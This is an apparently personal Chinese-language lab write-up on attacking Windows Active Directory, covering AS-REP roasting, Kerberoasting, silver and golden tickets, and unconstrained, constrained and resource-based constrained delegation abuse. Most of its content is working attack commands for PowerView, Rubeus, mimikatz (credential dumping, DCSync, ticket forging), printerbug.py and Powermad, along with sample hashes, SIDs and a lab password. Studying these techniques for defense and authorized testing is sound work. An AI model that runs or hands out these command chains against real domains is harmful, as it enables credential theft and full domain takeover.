域内相关协议与横向方法总结(二)
alanlitl WEB安全 6603浏览 · 2021-11-24 09:49

Rosting AS-REP

使用这个攻击方法需要域控开启“Do not require Kerberos preauthenticaton”,但是这个默认是关闭的。

在AS-REQ阶段,也就是kerberos的第一阶段会要求hash加密的时间戳,如果KDC使用hash解密的时间戳不匹配或者无法解密 kerberos验证就会失败。

但是如果启用“Do not require Kerberos preauthenticaton”,就不需要进行验证,使用任意存在的用户名向KDC发送请求,KDC就会返回对应的hash加密的数据给我们,随后就可以进行爆破。

开启不需要预验证

使用powerview.ps1查询开启不需要预验证的账号

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainUser -PreauthNotRequired}"

利用ASREPRoast.ps1获取hash

https://github.com/HarmJ0y/ASREPRoast

powershell.exe -exec bypass -Command "& {Import-Module .\ASREPRoast.ps1;Get-ASREPHash -UserName sc -Domain alanlitl.com}"

利用Rubeus

Rubeus.exe asreproast

只保存hash,使用hashcat进行爆破,在后添加$23

hashcat.exe -m 18200 sc_hash.txt password.txt

横向(TGS-REP)

kerberoasting攻击

https://www.cnblogs.com/zpchcbd/p/11707776.html

SPN

SPN作用

服务主体名称(SPN)是服务实列(如HTTP,MySQL)的唯一标识

  1. Kerberos身份验证就是使用SPN将服务实列与服务登录账户相关联。
  2. SPN始终包含运行服务的主机名称,因此服务实列可以为其主机的每个名称或者别名注册SPN。

  3. 在整个林或者域䣌计算机上安装多个服务,每个服务都必须有自己的SPN,如果客户端使用多个名称进行身份验证,那么服务也可以有多个SPN。

SPN分类
  1. 注册在本地机器(Computers)下,当服务权限为Local System或者Network Service时,SPN在Computers下。
  2. 注册在域用户(User)下,当一个服务权限为与用户时,则注册在User下。

注册问题:在windows域里面,默认普通本地机器账户可以注册SPN,但是普通域账户不能注册SPN,当一个服务以Local System account启动时,kerberos就能成功,但是以域用户启动时就不能成功

解决:在域控中将启动账户赋予read servicePrincipalName 和 Write serverPrincipalName权限,或者手动注册SPN(setspn -S MySQL/web-sc.de1ay.com:3307/MySQL web)。

set -S http/<computername>.<domainname> <domainuseraccount>
查看SPN
当前域
setspn -q */*
指定域
setspn -T de1ay.com -q */*
删除SPN
setspn -D MySQL/web-sc.de1ay.com:3307/MySQL
创建用户SPN,不是computer那种
setspn -U xxx

扫描SPN

工具:https://github.com/nidem/kerberoast

查询用户注册的SPN
Import-Module .\GetUserSPNs.ps1
cscript .\GetUserSPNs.vbs

工具:https://github.com/PowerShellMafia/PowerSploit/

根据不同用户的objectsid返回,结果更加详细。

Import-Module .\PowerView.ps1
Get-NetUser -SPN

利用SPN进行kerberoasting

原理:TGS-REP的数据包中,enc-part使用的是服务的hash加密,由于域内任何用户都可以向域内任何服务请求TGS,知道相关SPN后,可以使用SPN申请TGS ticket,如果票据使用RC4加密,则可以通过爆破方式获取对应服务用户的密码。

利用过程

找到高权限账户SPN

由于本地没有啥SPN,先注册一个SPN

登录一个有注册SPN权限的账户

setspn -U -A MySQL/web-sc.de1ay.com web

-U指定用户账户,-C指定计算机账户,增加、删除SPN的时候最好指定

setspn -q */*

删除SPN setspn -U -D MySQL/web-sc.de1ay.com web

如果无法修改SPN可以在域控adsiedit.msc中对应用户的SELE属性中开启读取、写入servicePrincipalName权限。

使用GetUserSPN

使用powerview

申请票据

powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/web-sc.de1ay.com"

cmd
powershell.exe -exec bypass -Command "& {$SPNName = 'MySQL/web-sc.de1ay.com'; Add-Type -AssemblyNAme System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName }"
一样的两句

mimikatz
kerberos::ask /target:SPNxxx

使用mimikatz申请票据

kerberos::ask /target:MySQL/web-sc.de1ay.com:3307/MySQL

使用Rubeus.exe,可以直接获取hash,然后使用hashcat爆破

申请RC4加密票据

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken申请的票据可能会使用RC4加密,但实际这受到msDS-SupportedEncryptionTypes域对象属性影响,msDS-SupportedEncryptionTypes微软文档)字段的值决定了 Kerberoast 流程中返回的服务票证的加密级别。同时加密方式也收到本地组策略控制,如果在本地组策略中勾选RC4加密,那么不管域控中用户的msDS-SupportedEncryptionTypes字段如何设置都将为RC4加密。

服务msDS-SupportedEncryptionTypes字段为0x12,本地组策略为 RC4

加密方式依然为RC4

本地组策略修改为未设置后,申请的票据加密方式为aes256

cmd下klist 可以看见票据已经得到了

  1. 导出票据
mimikatz::list /export

  1. 获取hash

    1. 使用kirbi2john.py获取票据中的hash
  1. 破解hash

    1. 利用tgsrepcrack.py,这个脚本可以直接破解票据kirbi而不需要转换为hash
    1. 使用hashcat:hashcat.exe -m 13100 hash.txt password.txt --show

服务票据重写(使用脚本出现一点问题,没有复现成功)

改变用户
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
改变组
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用mimikatz注入票据
kerberos::ptt PENTESTLAB.kirbi

白银票据

不同于黄金票据,通过使用服务hash伪造服务票据,只能访问对应服务。

我在windows server 2012 R2复现失败,换成2008成功了

利用条件

域名

域SID

目标服务FQDN

可利用的服务

服务账号的NTLM Hash

伪造用户名

利用过程

  1. 先获取hash

获取的是服务的hash,伪造cifs或者ldap之类的一般是主机的hash

mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

  1. 伪造票据

伪造cifs和ldap需要主机的hash

通过mimikatz伪造

kerberos::golden /domain:alanlitl.com /sid:S-1-5-21-3389487055-3676497411-292983562 /target:dc.alanlitl.com /rc4:16ec75ab12108ae708f6d6a481f4ca4a /service:ldap /user:test /ptt
  1. 获取权限

委派

https://xz.aliyun.com/t/8690#toc-64

https://www.cnblogs.com/secxue/p/14965428.html

https://www.cnblogs.com/backlion/p/10537813.html

https://my.oschina.net/u/4196756/blog/4911101

https://www.cnblogs.com/backlion/p/10537813.html

https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw

委派指用户将权限委派给服务账号,让服务账号能以用户权限开展活动

服务账号是指如MS SQL Server等运行时的账户,这类账户不能用于登录。

委派主要分为三类:非约束委派(Unconstrained delegation)、约束委派Constrained delegation)、基于资源的约束委派(Resource Based Constrained Delegation)

如果账户设置敏感账户,不能被委派就无法使用委派,administrator默认就是敏感账户。

非约束委派

https://my.oschina.net/u/4196756/blog/4911101

如果服务开启非约束委派,当用户访问服务时,服务会在lsass进程中保存TGT,然后服务就能利用TGT以用户的身份去访问其它服务。

开启方式:在用户属性中的委派页面开启,配置了非约束委派的账户的userAccountControl 属性有个FLAG位为TRUSTED_FOR_DELEGATION。设置非约束委派需要SeEnableDelegationPrivilege特权,该特权通常仅授权给域管。

实现方式:用户向KDC发起请求获得TGT,然后用户再次向KDC发起请求获取TGT2,访问服务时将TGT,TGT2,ST一起发送给服务,服务在内存中储存TGT2,并且使用这张TGT2向KDC发起请求。获取到ST后向另一个服务发起请求。

收集设置了非约束委派的账号:

powerview.ps1
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser -Unconstrained -Domain alanlitl.com | select name }"
但是我下载的脚本没有-Unconstrained参数,换一种
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetUser  -Domain alanlitl.com | select name,useraccountcontrol}"

收集设置了非约束委派的机器账号:

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-NetComputer  -Domain alanlitl.com | select dnshostname,useraccountcontrol}"

域控默认设置为非约束委派

ADfind.exe

非约束委派账号

AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派主机

AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派攻击

设web主机为非约束委派

清除票据

使用高权限用户访问web主机

net use \\web\c$

在web主机上导出票据

privilege::debug;sekurlsa::tickets /export

kerberos::ptt xxxxx.kirbi

非约束委派+Spooler打印机服务

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1

强制让dc域自己进行认证,从而获取dc票据。 Windows Print System Remote Protocol是MS-RPRN中的一个老旧但是默认的方法,可以让域用户使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification (Ex)方法强制运行Spooler服务的机器通过Kerberos或者NTLM验证攻击者的目标。

!在windows server 2008下SpoolSampler程序无法运行,换成2012后成功。

需要主机账户开启非约束委派

使用Rubeus监听票据

Rubeus.exe monitor /interval:1 /filteruser:dc$
Rubeus.exe monitor /interval:1 /filteruser:dc$ > 1.txt 将监听到的内容输出到1.txt中方便复制

https://github.com/leechristensen/SpoolSample

需要自己编译为exe文件

SpoolSampler.exe DC SC

使用printerbug.py

https://github.com/dirkjanm/krbrelayx

python printerbug.py 域/用户名:密码@打印机服务ip 回连ip
python printerbug.py alanlitl.com/web:2313root!@10.10.10.10 10.10.10.11

监听到票据

将获取的票据导入,

然后直接使用mimikatz导出域控上的hash

lsadump::dcsync /domain:alanlitl.com /all

如果无法使用Rubeus可以使用mimikatz

使用mimikatz导出所有票据

privilege::debug
sekurlsa::tickets /export

然后导入域控票据
kerberos::ptt xxx.kirbi
dump出域控中的hash
lsadump::dcsync /domain:alanlitl.com /all

制作黄金票据

kerberos::golden /user:administrator /sid:S-1-5-21-3209219484-2126840192-101349831 /krbtgt:2465ff0d094e9bb9cad789eda29643b6 /domain:alanlitl.com /ticket:gold.kirbi /ptt

获取dc权限

约束委派

由于非约束委派的不安全性,开启非约束委派就相当于获取了访问它账户的所有用户权限。所以微软引入了更安全的约束委派。约束委派多了两个协议S4U2Self和S4U2Proxy,服务只能获取用户的ST而不是TGT,这样只能去访问对应的服务。开启约束委派的账户userAccountControl属性有个TRUSTED_TO_AUTH_FOR_DELEGATION(开启使用任何身份认证才有),并且msDS-AllowedToDelegateTo属性还会显示能访问的SPN。如果这两个属性没有被赋值,那么KDC不会将其获得的票据设置为可转发。如果获取的ST票据不能转发,那么S4U2Proxy就没有用了。

需要开启使用任何身份验证

首先需要一个服务账号,通过注册SPN可以获得

setspn -U -A MySQL/web.alanlitl.com web

在约束委派中添加该服务即可

约束委派的两个协议

http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/

  1. S4U2Proxy

当用户使用ST1(可转发)访问service1时,service1可以使用ST1(可转发)向KDC获取一个访问服务B的ST2。

  1. S4U2Self

当用户以其他方式访问服务如NTLM,服务就无法向KDC申请访问其他服务的ST,所以S4U2Self就是为了解决这个的。服务向向KDC申请一个“以任意用户访问自己”的可转发TGT,然后利用该协议申请一张“任意用户访问自己”的可转发ST1并设置为可转发(该过程KDC会检验 1.TGT是否可转发 2.服务是否配置约束委派 3.服务是否请求可转发选项),然后就是配合S4U2Proxy,利用ST1获取访问服务B的ST2。

收集设置了约束委派的账号

powerview.ps1

服务账号

需要添加SPN才能在属性中找到委派选项。

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainUser -TrustedToAuth -Domain alanlitl.com | select name}"

可以看剧MySQL服务被设置为委派对象

机器账号

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Get-DomainComputer -TrustedToAuth -Domain alanlitl.com | select name}"

ADFind

主机
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

用户
AdFind.exe -b "DC=alanlitl,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegatet

约束委派攻击方式

查找设置约束委派的账户,和对应的SPN

可以看到web用户可以获取域控cifs的ST票据。

利用kekeo获取票据

https://github.com/gentilkiwi/kekeo/

kekeo的编译有点麻烦,并不能直接编译

kekeo

  1. 请求TGT
使用ntlm hash申请TGT
tgt::ask /user:web /domain:alanlitl.com /ntlm:xxxxxxxxxxxxx
使用明文 将/ntlm:xxxxx改为/password:xxxx

  1. 请求ST
tgs::s4u /tgt:1.kirbi /user:Administrator@alanlitl.com /service:cifs/dc.alanlitl.com

  1. 使用mimikatz导入票据,就可以访问dc了

Rubeus

rubeus在cmd中并不能很好显示,可以在powershell使用

  1. 请求TGT
.\Rubeus.exe asktgt /user:web /ntlm:810445cb03214d4b609bf0236836d093

  1. 获取ST
Rubeus.exe s4u /ticket:ticket_base64 /impersonateuser:administrator /domain:alanlitl.com /msdsspn:cifs/dc.alanlitl.com /dc:dc.alanlitl.com /ptt

主机账户的方式是一样的只是使用的hash是主机的hash

基于资源的约束委派

这是windows 2012 R2中新加入的功能,不需要域管配置委派权限,传统的约束委派是在域控上向服务A中添加服务B的SPN,以达到让服务A通过委派访问服务B,而基于资源的约束委派只需要在服务B上通过配置msDS-AllowedToActOnBehalfOfOtherIdentity属性添加服务A的SPN允许服务A使用委派访问服务B。

能利用的原因:

服务可以利用S4U2Self为任意用户请求自身的服务票据,并且在约束委派中提到过服务账号有个UserAccountControl属性它的值被设置为TRUSTED_TO_AUTH_FOR_DELEGATION时,利用S4U2Self获取的票据才能转发(才能被域控设置为可转发)。但是在基于资源的约束委派中,不可转发的票据仍然可以通过S4U2Proxy转发,并且获取一张访问对应服务的可转发票据。

利用过程:

在sc主机上创建一个主机账户test(主要是得到有个有SPN的账户,而且用户名密码由我们设置),然后将设置sc的基于资源的约束委派为test主机(在sc上添加test的SPN),然后利用test主机申请一张以域管身份访问自身的票据,利用基于资源的约束委派的条件获取一张访问sc的票据,由于该票据是以域管身份发起,所以是以域管权限访问,但是票据只用于sc账户,所以相当于提权。

综上所述,如果我们能够修改msDS-AllowedToActOnBehalfOfOtherIdentity,就可以获得一张域管的票据。但是仅限于访问自己,相当于提权。

利用条件

  1. 拥有修改当前机器msDS-AllowedToActOnBehalfOfOtherIdentity属性的账户。
  2. 除此之外我们还需要一个具有SPN的账户(我们可以利用上面条件那个账户创建一个机器账户,机器账户会默认注册一些SPN)

查看用户对当前机器用户是否具有权限(如果该机器是使用该用户加入的域,那么就有权限)

Import-Module .\PowerView.ps1
Get-DomainUser -Identity sc -Properties objectsid
Get-DomainObjectAcl -Identity test  | ?{$_.SecurityIdentifier -match "SID"}

其中ActiveDirectoryRights属性控制是否可以修改账户属性,GenericAll、GenericWrite、WriteProperty、WriteDacl等都是可以修改的。

创建机器账户

https://gitee.com/RichChigga/Powermad/

由于域控的ms-DS-MachineAccountQuota属性可以允许域账户(用户账户,服务账户,机器账户)在域里添加10个机器账户,所以可以直接添加机器账户,并且密码由我们自己设置。

创建账户

powershell.exe -exec bypass -Command "& {Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount test -Password $(ConvertTo-SecureString "2313root!" -AsPlainText -Force)}"

查看机器账户

net group "domain computers" /domain

查看当前用户对该机器账户是否具有控制权限

添加基于资源的约束委派

获取test机器账户的SID

Import-Module .\PowerView.ps1
Get-DomainComputer -Identity test -Properties objectsid

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3209219484-2126840192-101349831-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Import-Module .\powerview.ps1
Get-DomainComputer sc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

使用Active Directory Explorer

https://docs.microsoft.com/zh-cn/sysinternals/downloads/adexplorer

这里是修改sc主机的值,这里的值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;test的SID),同样的也设置好了基于资源的约束委派。

同时我们可以查看机器账户sc的创建者,查看mS-DS-CreatorSID属性,sc机器是由sc域账户加入,所以显示是sc创建的。所以对其有修改权限。

获取票据

计算机器账户test的hash

Rubeus.exe hash /user:test$ /password:2313root! /domain:alanlitl.com

利用rubeus获取票据

这里是利用winrm以域管身份访问主机,当然也可以申请cifs服务票据。

Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:http/sc.alanlitl.com /ptt
Rubeus.exe s4u /user:test$ /rc4:810445CB03214D4B609BF0236836D093 /impersonateuser:administrator /msdsspn:wsman/sc.alanlitl.com /ptt

使用powershell连接,获取域控权限。

New-PSSession -Name Priv -ComputerName sc.alanlitl.com
Enter-PSSession -Name Priv

1 条评论
某人
表情
可输入 255